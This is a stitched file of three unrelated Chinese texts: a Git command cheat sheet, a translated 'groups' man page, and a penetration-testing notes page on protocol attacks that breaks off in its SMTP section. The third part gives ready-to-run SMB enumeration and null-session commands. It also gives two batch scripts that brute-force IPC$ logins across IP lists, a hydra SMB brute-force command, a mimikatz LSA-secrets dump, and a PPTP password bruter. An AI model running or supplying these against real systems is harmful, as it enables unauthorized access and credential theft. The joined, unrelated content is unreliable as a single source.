# 如果我们只是在编辑器里修改了文件,但还没有执行 git add .,这时候我们的文件还在工作区,并没有进入暂存区,我们可以用
git checkout -- test.txt # git checkout其实是用版本库里的版本替换工作区的版本,无论工作区是修改还是删除,都可以 "一键还原".
git reset HEAD file # 把暂存区的修改撤销掉(unstage),重新放回工作区
已暂存,未提交
# 你已经执行了 git add .,但还没有执行 git commit -m "comment".这时候你意识到了错误,想要撤销,你可以执行:
git reset
git checkout .
已提交,未推送
# 你的手太快,你既执行了 git add .,又执行了 git commit,这时候你的代码已经进入了你的本地仓库,然而你后悔了,怎么办?不要着急,还有办法.
git reset --hard origin/master
# 还是这个 git reset --hard 命令,只不过这次多了一个参数 origin/master,正如我们上面讲过的,origin/master 代表远程仓库,既然你已经污染了你的本地仓库,那么就从远程仓库把代码取回来吧.
已推送
# 很不幸,你的手实在是太快了,你既 git add 了,又 git commit 了,并且还 git push 了,这时你的代码已经进入远程仓库.如果你想恢复的话,还好,由于你的本地仓库和远程仓库是等价的,你只需要先恢复本地仓库,再强制 push 到远程仓库就好了:
git reset --hard HEAD^
git push -f
```
---
### 分支管理
```bash
git branch # 查看分支
git branch -r # 查看远程分支
git branch -a # 查看所有分支
git branch <name> # 创建分支
git checkout <name> # 切换分支
git checkout -b <name> # 创建 + 切换分支
git merge <name> # 合并某分支到当前分支
git branch -d <name> # 删除分支
git stash # 储藏分支
git stash list
git stash pop # 恢复的同时把 stash 内容也删了
```
---
### 标签管理
```bash
# 注意,标签不是按时间顺序列出,而是按字母排序的.可以用 git show <tagname> 查看标签信息
git tag <name> 用于新建一个标签,默认为 HEAD,也可以指定一个 commit id;
git tag -a <tagname> -m "blablabla..." 可以指定标签信息;
git tag -s <tagname> -m "blablabla..." 可以用 PGP 签名标签;
git tag 可以查看所有标签.
git push origin <tagname> 可以推送一个本地标签;
git push origin --tags 可以推送全部未推送过的本地标签;
git tag -d <tagname> 可以删除一个本地标签;
git push origin :refs/tags/<tagname> 可以删除一个远程标签.
```
---
### 忽略文件
一个名为 `.gitignore` 的文件,列出要忽略的文件模式.
配置语法:
```
以斜杠 "/" 开头表示目录;
以星号 "*" 通配多个字符;
以问号 "?" 通配单个字符
以方括号 "[]" 包含单个字符的匹配列表;
以叹号 "!" 表示不忽略(跟踪)匹配到的文件或目录;
/*
!.gitignore
!/fw/bin/
!/fw/sf/
说明:忽略全部内容,但是不忽略 .gitignore 文件、根目录下的 /fw/bin/ 和 /fw/sf/ 目录;
```
此外,git 对于 `.ignore` 配置文件是按行从上到下进行规则匹配的,意味着如果前面的规则匹配的范围更大,则后面的规则将不会生效;
---
### 别名
```bash
以下2条都是对 git lg 的 alias
git config --global alias.lg "log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --"
git config --global alias.lg "log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset'"
```
---
### 撤销Git操作
**撤销提交**
一种常见的场景是,提交代码以后,你突然意识到这个提交有问题,应该撤销掉,这时执行下面的命令就可以了。
```bash
git revert HEAD
```
上面命令的原理是,在当前提交后面,新增一次提交,抵消掉上一次提交导致的所有变化。它不会改变过去的历史,所以是首选方式,没有任何丢失代码的风险。
`git revert` 命令只能抵消上一个提交,如果想抵消多个提交,必须在命令行依次指定这些提交。比如,抵消前两个提交,要像下面这样写。
```bash
git revert [倒数第一个提交] [倒数第二个提交]
```
git revert 命令还有两个参数。
```bash
--no-edit # 执行时不打开默认编辑器,直接使用 Git 自动生成的提交信息。
--no-commit # 只抵消暂存区和工作区的文件变化,不产生新的提交。
```
**丢弃提交**
如果希望以前的提交在历史中彻底消失,而不是被抵消掉,可以使用 `git reset` 命令,丢弃掉某个提交之后的所有提交。
```bash
git reset [last good SHA]
```
`git reset` 的原理是,让最新提交的指针回到以前某个时点,该时点之后的提交都从历史中消失。
默认情况下,`git reset` 不改变工作区的文件(但会改变暂存区),`--hard` 参数可以让工作区里面的文件也回到以前的状态。
```bash
git reset --hard [last good SHA]
```
执行 `git reset` 命令之后,如果想找回那些丢弃掉的提交,可以使用 `git reflog` 命令,具体做法参考这里。不过,这种做法有时效性,时间长了可能找不回来。
**替换上一次提交**
提交以后,发现提交信息写错了,这时可以使用 `git commit` 命令的 `--amend` 参数,可以修改上一次的提交信息。
```bash
git commit --amend -m "Fixes bug #42"
```
它的原理是产生一个新的提交对象,替换掉上一次提交产生的提交对象。
这时如果暂存区有发生变化的文件,会一起提交到仓库。所以,`--amend` 不仅可以修改提交信息,还可以整个把上一次提交替换掉。
**修改上一次的 commit**
```bash
git commit --amend
```
**撤销工作区的文件修改**
如果工作区的某个文件被改乱了,但还没有提交,可以用 `git checkout` 命令找回本次修改之前的文件。
```
git checkout -- [filename]
```
它的原理是先找暂存区,如果该文件有暂存的版本,则恢复该版本,否则恢复上一次提交的版本。
注意,工作区的文件变化一旦被撤销,就无法找回了。
**从暂存区撤销文件**
如果不小心把一个文件添加到暂存区,可以用下面的命令撤销。
```bash
git rm --cached [filename]
```
上面的命令不影响已经提交的内容。
**撤销当前分支的变化**
你在当前分支上做了几次提交,突然发现放错了分支,这几个提交本应该放到另一个分支。
```bash
# 新建一个 feature 分支,指向当前最新的提交
# 注意,这时依然停留在当前分支
$ git branch feature
# 切换到这几次提交之前的状态
$ git reset --hard [当前分支此前的最后一次提交]
# 切换到 feature 分支
$ git checkout feature
```
上面的操作等于是撤销当前分支的变化,将这些变化放到一个新建的分支。
---
### 跳转
```bash
git log # 查看 commit 历史
git checkout xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # 跳转到指定的 commit 版本中
```
---
### 子模块
有种情况经常会遇到:某个工作中的项目需要包含并使用另一个项目。也许是第三方库,或者你独立开发的,用于多个父项目的库。
现在问题来了:你想要把它们当做两个独立的项目,同时又想在一个项目中使用另一个。
假设你正在开发一个网站然后创建了 Atom 订阅。 你决定使用一个库,而不是写自己的 Atom 生成代码。你可能不得不通过 CPAN 安装或 Ruby gem 来包含共享库中的代码,或者将源代码直接拷贝到自己的项目中。如果将这个库包含进来,那么无论用何种方式都很难定制它,部署则更加困难,因为你必须确保每一个客户端都包含该库。 如果将代码复制到自己的项目中,那么你做的任何自定义修改都会使合并上游的改动变得困难。
Git 通过子模块来解决这个问题。子模块允许你将一个 Git 仓库作为另一个 Git 仓库的子目录。它能让你将另一个仓库克隆到自己的项目中,同时还保持提交的独立。
```bash
git submodule add https://github.com/No-Github/1earn # 添加一个名为 1earn 的库
# 默认情况下,子模块会将子项目放到一个与仓库同名的目录中,本例中是 1earn , 如果你想要放到其他地方,那么可以在命令结尾添加一个不同的路径。
```
运行 git status
```bash
$ git status
On branch master
Your branch is up to date with 'origin/master'.
Changes to be committed:
(use "git reset HEAD <file>..." to unstage)
new file: .gitmodules
new file: 1earn
```
首先应当注意到新的 .gitmodules 文件。 该配置文件保存了项目 URL 与已经拉取的本地目录之间的映射:
```
[submodule "1earn"]
path = 1earn
url = https://github.com/No-Github/1earn
```
如果有多个子模块,该文件中就会有多条记录。 要重点注意的是,该文件也像 .gitignore 文件一样受到(通过)版本控制。 它会和该项目的其他部分一同被拉取推送。 这就是克隆该项目的人知道去哪获得子模块的原因。
当你提交时,会看到类似下面的信息:
```bash
$ git commit -m "test add module"
[master e214ed0] test add module
2 files changed, 4 insertions(+)
create mode 100644 .gitmodules
create mode 160000 1earn
注意 1earn 记录的 160000 模式。 这是 Git 中的一种特殊模式,它本质上意味着你是将一次提交记作一项目录记录的,而非将它记录成一个子目录或者一个文件。
```
最后,推送这些更改:
```bash
$ git push origin master
```
---
### 大小写
git 默认对于文件名大小写是不敏感的,所以你修改了首字母大写,但是 git 并没有发现代码任何改动.
可以配置 git 使其对文件名大小写敏感
```bash
git config core.ignorecase false
```
---
## 远程操作
多人协作的工作模式通常是这样:
- 首先,可以试图用 `git push origin branch-name` 推送自己的修改;
- 如果推送失败,则因为远程分支比你的本地更新,需要先用 `git pull` 试图合并;
- 如果合并有冲突,则解决冲突,并在本地提交;
- 没有冲突或者解决掉冲突后,再用 `git push origin branch-name` 推送就能成功!
- 如果 `git pull` 提示 `"no tracking information"`,则说明本地分支和远程分支的链接关系没有创建,用命令 `git branch --set-upstream branch-name origin/branch-name`
---
### clone
`git clone <版本库的网址> <本地目录名>`
---
### remote
```bash
git remote # 命令列出所有远程主机
git remote -v # 参看远程主机的网址
origin git@github.com:jquery/jquery.git (fetch)
origin git@github.com:jquery/jquery.git (push)
git remote add <主机名> <网址> # 用于添加远程主机
git remote rm <主机名> # 用于删除远程主机
git remote rename <原主机名> <新主机名> # 用于远程主机的改名
```
---
### fetch
git fetch 会使你与另一仓库同步,提取你本地所没有的数据,为你在同步时的该远端的每一分支提供书签. 这些分支被叫做 "远端分支",除了 Git 不允许你检出(切换到该分支)之外,跟本地分支没区别 —— 你可以将它们合并到当前分支,与其他分支作比较差异,查看那些分支的历史日志,等等.同步之后你就可以在本地操作这些.
```bash
git fetch <远程主机名> # 将某个远程主机的更新,全部取回本地
git branch 命令的 -r 选项,可以用来查看远程分支,-a 选项查看所有分支.
git branch -r
git branch -a
```
上面命令表示,本地主机的当前分支是 master,远程分支是 origin/master.
取回远程主机的更新以后,可以在它的基础上,使用 `git checkout` 命令创建一个新的分支.
```bash
git checkout -b newBrach origin/master
上面命令表示,在 origin/master 的基础上,创建一个新分支.
此外,也可以使用 git merge 命令或者 git rebase 命令,在本地分支上合并远程分支.
git merge origin/master
或者
git rebase origin/master
上面命令表示在当前分支上,合并 origin/master.
```
---
### pull
基本上,该命令就是在 `git fetch` 之后紧接着 `git merge` 远端分支到你所在的任意分支.
```bash
git pull <远程主机名> <远程分支名>:<本地分支名> # 取回远程主机某个分支的更新,再与本地的指定分支合并.
git pull origin next:master # 取回 origin 主机的 next 分支,与本地的 master 分支合并
```
**pull 文件时和本地文件冲突**
`git stash` 先将本地修改存储起来
这样本地的所有修改就都被暂时存储起来 .是用 `git stash list` 可以看到保存的信息:
```
stash@{0}: WIP on master: xxxxxxx <commit>
```
暂存了本地修改之后,就可以 `git pull` 了.
还原暂存的内容 `git stash pop stash@{0}`
提示如下信息
```
Auto-merging c/environ.c
CONFLICT (content): Merge conflict in c/environ.c
```
意思就是系统自动合并修改的内容,但是其中有冲突,需要解决其中的冲突.
也可以放弃本地修改,直接覆盖之
```
git reset --hard
git pull
```
---
### push
```bash
git push <远程主机名> <本地分支名>:<远程分支名> # 将本地分支的更新,推送到远程主机
git push origin master # 本地的 master 分支推送到 origin 主机的 master 分支.如果后者不存在,则会被新建.
如果远程主机的版本比本地版本更新,推送时 Git 会报错,要求先在本地做 git pull 合并差异,然后再推送到远程主机.这时,如果你一定要推送,可以使用 --force 选项.
git push --force origin
上面命令使用 --force 选项,结果导致远程主机上更新的版本被覆盖.除非你很确定要这样做,否则应该尽量避免使用 --force 选项.
```
---
### github
<p align="center">
<img src="../../../assets/img/logo/github.png" width="25%">
</p>
- **github 开启二次验证后后,git push 验证权限失败**
github 开启二次验证后,提交时密码用个人设置里的 Personal Access Token,不是账号密码
- **Git Push 避免用户名和密码方法**
在 windows 中添加一个用户变量,变量名:HOME,变量值:%USERPROFILE%
进入 `%HOME%` 目录,新建一个名为 `_netrc` 的文件,文件中内容格式如下:
```bash
machine github.com
login your-usernmae
password Personal Access Token
```
- **压缩 github 上的项目大小**
下载工具 https://rtyley.github.io/bfg-repo-cleaner/
将下载好的 jar 文件放在要压缩的项目同级文件夹下,我这里以自己仓库为例
```bash
# 删除大于 1M 的文件
java -jar bfg.jar --strip-blobs-bigger-than 1M 1earn
# 删除所有的 mp4 文件
java -jar bfg.jar --delete-files *.mp4 1earn
```
BFG 将更新提交以及所有分支和标记,此时还没有物理删除。
进入文件夹,使用 `gc`
```bash
cd 1earn
git reflog expire --expire=now --all && git gc --prune=now --aggressive
```
确认无误后,可提交至远程仓库
```bash
git push
git push --force origin # 如果报错可以强行推送
```
- **重建版本库**
```bash
rm -rf .git
git init
git add .
git cm "first commit"
git remote add origin <your_github_repo_url>
git push -f -u origin master
```
- **Github 进行 fork 后如何与原仓库同步**
```bash
git remote -v # 查看你的远程仓库的路径
# 如果只有上面2行,说明你未设置 upstream
git remote add upstream https://github.com/xxx/xxx.git # 把 xxx 的仓库设置为你的 upstream
git remote -v # 检查是否成功
git fetch upstream # 抓取上游更新
git checkout master # 切换到 master 分支
git merge upstream/master # 合并远程的 master 分支
```
---
### Git_LFS
> Git Large File Storage (Git LFS) 是 Git 的开源扩展,使你能够像处理其他文本文件一样处理大文件。
**安装**
- Windows: 访问 https://git-lfs.github.com/ 下载 exe 安装包
验证安装成功
```bash
$ git lfs install
> Git LFS initialized.
```
**配置**
安装 [Git LFS] 后 (/articles/installing-git-large-file-storage/),需要将其与仓库中的大文件相关联。
如果仓库中存在要用于 GitHub 的现有文件,则需要先从仓库中删除它们,然后在本地将其添加到 Git LFS。
```bash
# 将当前工作目录更改为要用于 Git LFS 的现有仓库。
cd 1earn
# 要将仓库中的文件类型与 Git LFS 相关联,请输入 git lfs track,后跟要自动上传到 Git LFS 的文件扩展名。
git lfs track "*.zip"
# 要与 Git LFS 关联的每个文件类型都需要添加 git lfs track。 此命令将修改仓库的 .gitattributes 文件,并将大文件与 Git LFS 相关联。
git commit -m "add file.zip"
git push
# 或推送所有引用的 Git LFS 文件
git lfs push --all origin
```
**常见报错**
- **Error with socks5 proxy**
Git LFS 目前不支持 socks5 代理,换 http 代理
```bash
git config --global http.proxy 'http://127.0.0.1:1080'
```
---
## Source & Reference
- [521xueweihan/git-tips: Git的奇技淫巧](https://github.com/521xueweihan/git-tips)
- [git配置代理命令](https://www.cnblogs.com/gx1069/p/6840413.html)
- [git操作及fatal: Authentication failed for错误解决](https://blog.csdn.net/u011394598/article/details/80256896)
- [github开启二次验证后后,git push验证权限失败](https://www.jianshu.com/p/d7ae993b4506)
- [Git Push 避免用户名和密码方法](https://www.cnblogs.com/ballwql/p/3462104.html)
- [Git远程操作详解](https://www.ruanyifeng.com/blog/2014/06/git_remote.html)
- [Git 的 .gitignore 配置](https://www.cnblogs.com/haiq/archive/2012/12/26/2833746.html)
- [Git初始配置和基本使用](https://blog.csdn.net/daily886/article/details/80140720)
- [让Git的输出更友好: 多种颜色和自定义log格式](https://blog.csdn.net/lts_cxl/article/details/17282725)
- [使用git pull文件时和本地文件冲突怎么办?](http://www.01happy.com/git-resolve-conflicts/)
- [Git冲突:commit your changes or stash them before you can merge. ](https://blog.csdn.net/lincyang/article/details/21519333)
- [git commit中输入message的几种方式 ](https://www.jianshu.com/p/ad461b99e860)
- [git commit 提交多行message](https://blog.csdn.net/sinat_29891353/article/details/76674798)
- [如何撤销 Git 操作?](http://www.ruanyifeng.com/blog/2019/12/git-undo.html)
- [关于 .git 目录你需要知道的一切](http://einverne.github.io/post/2020/02/everything-about-dot-git-directory.html)
- [git checkout到历史某个版本_赶路人儿-CSDN博客_git checkout指定版本](https://blog.csdn.net/liuxiao723846/article/details/70313287)
- [git 修改刚刚的commit](https://blog.csdn.net/qiulinsama/article/details/90703160)
- [Github进行fork后如何与原仓库同步:重新fork很省事,但不如反复练习版本合并 #67](https://github.com/selfteaching/the-craft-of-selfteaching/issues/67)
- [7.11 Git 工具 - 子模块](https://git-scm.com/book/zh/v2/Git-%E5%B7%A5%E5%85%B7-%E5%AD%90%E6%A8%A1%E5%9D%97)
- [Error with socks5 proxy #1424](https://github.com/git-lfs/git-lfs/issues/1424)
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH GROUPS 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
groups \- 显示用户所在的组
.SH 概述
\fBgroups\fP [\fI\,选项列表\/\fP]... [\fI\,用户名列表\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
显示每个输入的用户名所在的全部组,如果没有指定用户名则默认为当前进程用户(当用户组数据库发生变更时可能导致差异)。
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 David MacKenzie 和 James Youngman 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBgetent\fP(1)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/groups>
.br
或者在本地使用: info \(aq(coreutils) groups invocation\(aq
|
sec-knowleage
|
# Protocol - Exploits
`注:本分类里内容并非全是协议的 bug,部分 "基于、使用" 这个协议的应用所存在的漏洞也算在其中,例如 dns 域传送漏洞,其并非 dns 协议本身的漏洞,为服务部署时的配置问题,但应用与 DNS 相关的业务,故此分类`
`补充和相关协议有关的知识点,不知道怎么分类,就放到这个部分了,例如:ja3,Shadow-TLS`
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 大纲
* [DNS](#dns)
* [ipv6](#ipv6)
* [LDAP](#ldap)
* [RTSP](#rtsp)
* [SMB](#smb)
* [PPTP](#pptp)
* [SMTP](#smtp)
* [SNMP](#snmp)
* [SSH](#ssh)
* [SSL](#ssl)
* [VNC](#vnc)
* [Other](#other)
* [Ripple20](#ripple20)
---
## DNS
**关于 DNS**
- [DNS](../../../Integrated/Network/应用层/DNS.md)
**CVE-1999-0532 dns 域传送漏洞**
- 简介
DNS 服务器分为:主服务器、备份服务器和缓存服务器,在主备服务器之间同步数据库,需要使用 “DNS 域传送”。
域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。若 DNS 服务器配置不当,可能导致匿名用户获取某个域的所有记录。造成整个网络的拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器。
- 相关文章
- [DNS域传送漏洞](http://www.lijiejie.com/?s=DNS%E5%9F%9F%E4%BC%A0%E9%80%81%E6%BC%8F%E6%B4%9E)
- POC | Payload | exp
```bash
dig @dns.xxx.edu.cn axfr xxx.edu.cn
# @ 指定域名服务器;
# axfr 为域传送指令;
# xxx.edu.cn 表示要查询的域名;
```
### 子域接管漏洞
**什么是子域接管**
子域名接管是注册不存在的域名以获得对另一个域的控制权的过程
1. 域名(例如 sub.ffffffff0x.com)将 CNAME 记录用于另一个域(例如 sub.ffffffff0x.com CNAME f0x.com)。
2. 在某个时间点, f0x.com 到期并可供任何人注册。
3. 由于未从 ffffffff0x.com DNS 区域删除 CNAME 记录,因此注册 f0x.com 的任何人都可以完全控制 sub.ffffffff0x.com,直到删除 DNS 记录。
通过使用子域接管,攻击者可以从合法域中发送网络钓鱼电子邮件,执行跨站点脚本(XSS)或发布不实言论信息等恶意行为。
子域接管不仅限于 CNAME 记录。NS,MX 甚至 A 记录(均不受此限制)也将受到影响。
**相关文章/案例**
- [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz/)
- [HackerOne 漏洞案例 | 子域名劫持漏洞的挖掘指南](https://www.freebuf.com/articles/web/183254.html)
- [A Guide To Subdomain Takeovers | HackerOne](https://www.hackerone.com/blog/Guide-Subdomain-Takeovers)
- [Subdomain Takeover](https://echocipher.github.io/2019/08/14/Subdomain-takeover/)
- [利用 Cloudflare Partner 劫持域名](https://mp.weixin.qq.com/s/K4vzPAmGCiDzqs6eREAsOg)
- [HOW I hacked thousand of subdomains](https://medium.com/@moSec/how-i-hacked-thousand-of-subdomains-6aa43b92282c)
- https://0xpatrik.com/
- [Subdomain Takeover 子域名接管漏洞](https://mp.weixin.qq.com/s/a1hQX4J_oNa8GU2y82ZU6w)
- [子域名接管漏洞是怎么回事儿](https://mp.weixin.qq.com/s/J_P3zWBseGZKNkZF2DvVxw)
**相关资源**
- [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
**相关工具**
- [elceef/dnstwist](https://github.com/elceef/dnstwist) - 快速扫描成百上千个可能的域名组合,并提取与域名匹配的 IPv4 或 IPv6 地址
- [haccer/subjack](https://github.com/haccer/subjack) - Subdomain Takeover tool written in Go
- [Echocipher/Subdomain-Takeover](https://github.com/Echocipher/Subdomain-Takeover) - 一个子域名接管检测工具
- [LukaSikic/subzy](https://github.com/LukaSikic/subzy) - Subdomain takeover vulnerability checker
### DNS Rebinding
- [DNS Rebinding](../Web安全/Web_Generic/SSRF.md#dns-rebinding)
---
## ipv6
**相关文章**
- [浅谈 IPv6 的入侵与防御](https://www.freebuf.com/articles/web/202901.html)
- [“失控”的 IPv6:观察 IPv6 网络环境安全现状](https://paper.seebug.org/1277/)
- [谁不想要 2^64 个 IP 的代理池 ?](https://zu1k.com/posts/tutorials/http-proxy-ipv6-pool/)
- [利用IPV6绕过B站的反爬](https://blog.yllhwa.com/2022/09/05/%E5%88%A9%E7%94%A8IPV6%E7%BB%95%E8%BF%87B%E7%AB%99%E7%9A%84%E5%8F%8D%E7%88%AC/)
- [用 ipv6 构造一个代理 ip 池](https://v2ex.com/t/833075)
**相关工具**
- [vanhauser-thc/thc-ipv6](https://github.com/vanhauser-thc/thc-ipv6) - IPv6 攻击工具箱
- [fgont/ipv6toolkit](https://github.com/fgont/ipv6toolkit) - SI6网络的IPv6工具包
- [sfan5/fi6s](https://github.com/sfan5/fi6s) - IPv6 network scanner designed to be fast
---
## LDAP
**描述**
轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询,是 X.500 的一种简便的实现。
LDAP 是一种运行于TCP/IP之上的在线目录访问协议,主要用于目录中资源的搜索和查询。使用最广泛的LDAP服务如微软的ADAM(Active Directory Application Mode)和OpenLDAP.
**相关文章**
- [LDAP 协议入门(轻量目录访问协议)](https://zhuanlan.zhihu.com/p/147768058)
**相关工具**
- https://directory.apache.org/studio/
### LDAP注入
**相关文章**
- [LDAP注入与防御剖析](http://drops.xmd5.com/static/drops/tips-967.html)
- [初探 LDAP 安全 [ 一 ] ](https://klionsec.github.io/2017/12/20/ldap-sec/)
- [从一次漏洞挖掘入门Ldap注入](https://xz.aliyun.com/t/5689)
---
## MQTT
> fofa: port="1883" && protocol="mqtt
**描述**
MQTT(Message Queuing Telemetry Transport,消息队列遥测传输协议)。可以以极少的代码和有限的带宽,为远程设备提供实时可靠的消息服务,一种低开销、低带宽占用的即时通讯协议。MQTT协议运行于TCP之上,属于应用层协议。
**相关文章**
- [MQTT安全分析](https://mp.weixin.qq.com/s/SNJy5rgJSZlO-GoePb4VRw)
- [网络空间测绘——MQTT服务篇](https://mp.weixin.qq.com/s/b_ZgX8CM25R7uE4RGjtDRg)
**MQTT 相关工具**
- [mosquitto](https://mosquitto.org/download/) - MQTT服务端程序
```bash
apt-get install mosquitto
apt-get install mosquitto-clients
mosquitto -v
mosquitto_sub -h 127.0.0.1 -t debug
```
- mqtt.fx
- [thomasnordquist/MQTT-Explorer](https://github.com/thomasnordquist/MQTT-Explorer) - An all-round MQTT client that provides a structured topic overview
- [emqx/MQTTX](https://github.com/emqx/MQTTX) - Elegant Cross-platform MQTT 5.0 Desktop Client
- [node-red/node-red](https://github.com/node-red/node-red) - Low-code programming for event-driven applications
**暴力破解**
- [zombiesam/joffrey](https://github.com/zombiesam/joffrey) - Stupid MQTT Brute Forcer
---
## RTSP
**描述**
实时流媒体协议(RTSP)是一种网络控制协议,设计用于娱乐和通信系统,以控制流媒体服务器。该协议用于建立和控制终端之间的媒体会话。媒体服务器的客户端发出 VHS 风格的命令,如播放、录制和暂停,以方便实时控制媒体流从服务器到客户端(视频点播)或从客户端到服务器(语音录制)。
流媒体数据的传输本身不是 RTSP 的任务。大多数 RTSP 服务器使用实时传输协议 (RTP) 与实时控制协议 (RTCP) 相结合来传输媒体流。
**暴力破解**
- [Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
---
## SMB
**相关文章**
- [SMB协议(445端口)渗透测试](https://mp.weixin.qq.com/s/_SGJWfjHhR3m_Ky31ZGSxQ)
**信息收集**
- MSF 模块
```bash
use auxiliary/scanner/smb/smb_version
use exploit/multi/samba/usermap_script
```
- nmblookup
```bash
nmblookup -A <victim_ip>
```
- ngrep
```bash
"ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]'
smbclient -L \\\\<victim_ip>"
```
- nmap脚本
```bash
nmap --script smb-vuln* -p139,445 -T4 -Pn <victim_ip>
```
**枚举用户**
- nmap脚本
```bash
nmap --script smb-enum-users.nse -p 445 <目标IP>
```
- rpcclient
```bash
rpcclient -U '' <目标IP>
querydominfo
enumdomusers
queryuser <用户名>
```
- enum4linux
```bash
enum4linux <目标IP>
```
**获取共享**
- smbmap
```bash
smbmap -H <victim_ip> -R <sharename>
```
- smbclient
```bash
echo exit | smbclient -L \\\\$ip
"smbclient \\\\<victim_ip>\\<share>"
smbclient -L //<victim_ip> -N
```
- nmap
```bash
nmap --script smb-enum-shares -p139,445 -T4 -Pn <victim_ip>
```
**空会话**
- smbmap
```bash
smbmap -H <victim_ip>
```
- rpcclient
```bash
rpcclient -U "" -N $ip
```
- smbclient
```bash
smbclient //<victim_ip>/IPC$ -N
```
- enum
```bash
enum -s <victim_ip>
enum -U <victim_ip>
enum -P <victim_ip>
```
- enum4linux
```bash
enum4linux -a <victim_ip>
```
**匿名共享**
- smbclient
```bash
smbclient //$ip/share -U username
smbclient \\\\<victim_ip>\\<share>
smbclient //<victim_ip>/<share>
smbclient //<victim_ip>/<share\ name>
smbclient //<victim_ip>/<""share name"">
```
- rpcclient
```bash
rpcclient -U " " <victim_ip>
rpcclient -U " " -N <victim_ip>
```
**暴力破解**
可以暴力破解来获得目标主机的 smb 访问。
```bash
hydra -L user.txt -P pass.txt 192.168.1.1 smb
```
- IPC 爆破
```
ip.txt 放入要爆破的 IP
pass.txt 放入爆破的密码
默认爆破用户:Administrator
爆破成功的结果,会在 bat 运行的当前目录生成 out.txt
爆破进度的查询:type log.txt,完成后当前目录生成 end.txt
```
非空连接爆破.bat
```bat
@echo off
cls
echo Useage: %0 ip.txt pass.txt
for /f %%t in (%1) do (
FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (%2) do (
echo net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >> log.txt
net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >NUL 2>NUL
IF NOT errorlevel 1 (
echo %%i t:%%t>> out.txt
net use \\%%t\ipc$ /del
)
net use * /del /y >NUL 2>NUL
)
)
echo end >> end.txt
```
空连接爆破.bat
```bat
@echo off
cls
echo Useage: %0 ip.txt
for /f %%t in (%1) do (
echo net use \\%%t\ipc$ "" /user:"localhost\Administrator" >> log.txt
net use \\%%t\ipc$ "" /user:"localhost\Administrator" >NUL 2>NUL
IF NOT errorlevel 1 (
echo success:%%t>> out.txt
net use \\%%t\ipc$ /del
)
net use * /del /y >NUL 2>NUL
)
echo end >> end.txt
```
**利用 NTLM 值破解 SMB**
主要依靠钓鱼,不是很适合在实战中使用,内容见 https://www.hackingarticles.in/4-ways-capture-ntlm-hashes-network/
---
## PPTP
**相关文章**
- [渗透技巧——PPTP口令的获取与爆破](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-PPTP%E5%8F%A3%E4%BB%A4%E7%9A%84%E8%8E%B7%E5%8F%96%E4%B8%8E%E7%88%86%E7%A0%B4/)
**获得PPTP 口令**
Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下: `%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk` 查看该文件即可获得 PPTP 连接的配置信息,包括服务器 IP,不包含连接用户名和口令
```
mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
**windows 命令行下连接 PPTP VPN**
```
rasdial "VPN Connection" username pass
# 关闭连接
rasphone -h "VPN Connection"
```
**kali 连接 PPTP VPN**
```bash
pptpsetup --create vpn --server xx.xx.xx.xx --username username --password pass --encrypt --start
# 将默认路由表修改为远程
route del default
route add default gw xx.xx.xx.xx
```
**暴力破解 PPTP 口令**
- 相关工具
- [BlackArch/thc-pptp-bruter](https://github.com/BlackArch/thc-pptp-bruter) - kali 默认自带
```
cat wordlist | thc-pptp-bruter -u username xx.xx.xx.xxx
```
- [pptp_password_hack.py](https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py)
---
## SMTP
**描述**
SMTP 为邮件协讫,默认端口 25.经常用来邮箱伪造,钓鱼攻击.
**相关文章**
- [SMTP 协议 25 端口渗透测试记录](https://www.sqlsec.com/2017/08/smtp.html)
**相关工具**
- [Rvn0xsy/SMTP-NC](https://github.com/Rvn0xsy/SMTP-NC) - SMTP Netcat , test SMTP protocol
**邮件检测**
- SPF : http://spf.myisp.ch/
- MX : https://toolbox.googleapps.com/apps/checkmx
- DMARC : https://www.agari.com/insights/tools/DMARC
**枚举用户**
- [SMTP 用户枚举原理简介及相关工具](https://www.freebuf.com/articles/web/182746.html)
```
MAIL FROM : 指定发件人地址
RCPT TO : 指定单个的邮件接收人;可有多个 RCPT TO;常在 MAIL FROM命令之后
VRFY : 用于验证指定的用户/邮箱是否存在;由于安全原因,服务器常禁止此命令
EXPN : 验证给定的邮箱列表是否存在,也常被禁用
```
```
SMTP 返回码
500 格式错误,命令不可识别(此错误也包括命令行过长)
501 参数格式错误
502 命令不可实现
503 错误的命令序列
504 命令参数不可实现
